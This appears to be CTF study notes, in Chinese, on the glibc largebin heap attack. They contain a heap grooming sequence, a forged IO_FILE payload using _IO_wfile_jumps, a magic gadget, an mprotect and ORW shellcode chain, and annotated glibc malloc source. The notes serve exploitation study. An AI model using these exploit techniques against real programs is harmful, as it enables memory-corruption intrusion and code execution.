largebin attack
往一个地址写入一个堆地址 largebin attack经常用来在堆上伪造FAKE FILE来打IO_FILE
代码
malloc(0x420) #0
malloc(0x20)
malloc(0x410) #1
malloc(0x20)
free(0)
#让0进入largebin
malloc(0x430)
#1在unsorted bin中
free(1)
#size(0)>size(1)
edit(0,p64(0)*3+p64(target-0x20))
#触发largebin attack
malloc(0x430)
#修改largebin
edit(0,p64(recover)*2)
做题笔记
largebin attack了_IO_list_all后一般largebin都是ck2->ck1,然后IO_list_all指向ck1,但是有时候edit次数有限制,所以可以这样做
在edit ck2的bk_nextsize的时候,直接把IO布置到ck2上,largebin attack后IO_list_all指向ck1,但是再把ck1给add出来,那么此时因为出入bin的原因,IO_list_all最终指向ck2,那么就是一次edit直接打完largebin attack同时布置好了IO
shellcode=asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x1000,0x18)+shellcraft.read(3,heapbase+0x10000,0x50)+shellcraft.write(1,heapbase+0x10000,0x50)+shellcraft.exit(0))
orw_rop = b'flag\x00\x00\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(heapbase) +p64(pop_rsi_ret)+p64(0x10000)+p64(pop_rdx_r12_ret)+p64(7)*2+ p64(libcbase + libc.sym['mprotect'])
orw_rop += p64(heapbase+0x1bf0)+shellcode
# payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = p64(0)+p64(leave_ret)+p64(0)+p64(io_list_all-0x20)
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + 0x216F40) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
# dbg()
edit(1,payload)
核心
- 对于攻击来说,实际上并不用考虑那么多情况,我们只需要考虑victim小于当前largebin中最小的chunk(因为largebin中只有唯一的chunk,所以最小的chunk也是它)
fwd = bck; //当前largebin
bck = bck->bk; // 最小的chunk
//将victim插入当前largebin的最后
victim->fd_nextsize = fwd->fd; 1
victim->bk_nextsize = fwd->fd->bk_nextsize; 2
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 3
由2,3可得fwd->fd->bk_nextsize->fd_nextsize =victim victim是一个堆地址,相当于填入了一个很大的数
结构
结构
largebin入bin操作
源码
largebin结构体指针数组存着多个largebin,每个largebin又有着多个chunk
else //确定是large bin
victim_index = largebin_index (size); //获取victim的下标
bck = bin_at (av, victim_index); //bck=当前的large bin
fwd = bck->fd; //fwd=largebin中的最大的chunk
/* 保持largebin有序*/
//如果当前bin中有chunk
if (fwd != bck) {
size |= PREV_INUSE;
assert (chunk_main_arena (bck->bk));
//victim小于当前largebin中最小的chunk
if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck; //当前largebin
bck = bck->bk; // 最小的chunk
//将victim插入当前largebin的最后
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else{
assert (chunk_main_arena (fwd));
//从大到小遍历找到victim合适的位置
while ((unsigned long) size < chunksize_nomask (fwd)){
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
// 如果victim与当前chunk size相等,不用考虑fd_nextsize 和 bk_nextsize,直接放到当前的chunk下
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) {
fwd = fwd->fd;
}
else {
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
//当前largebin中没有chunk
else{
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;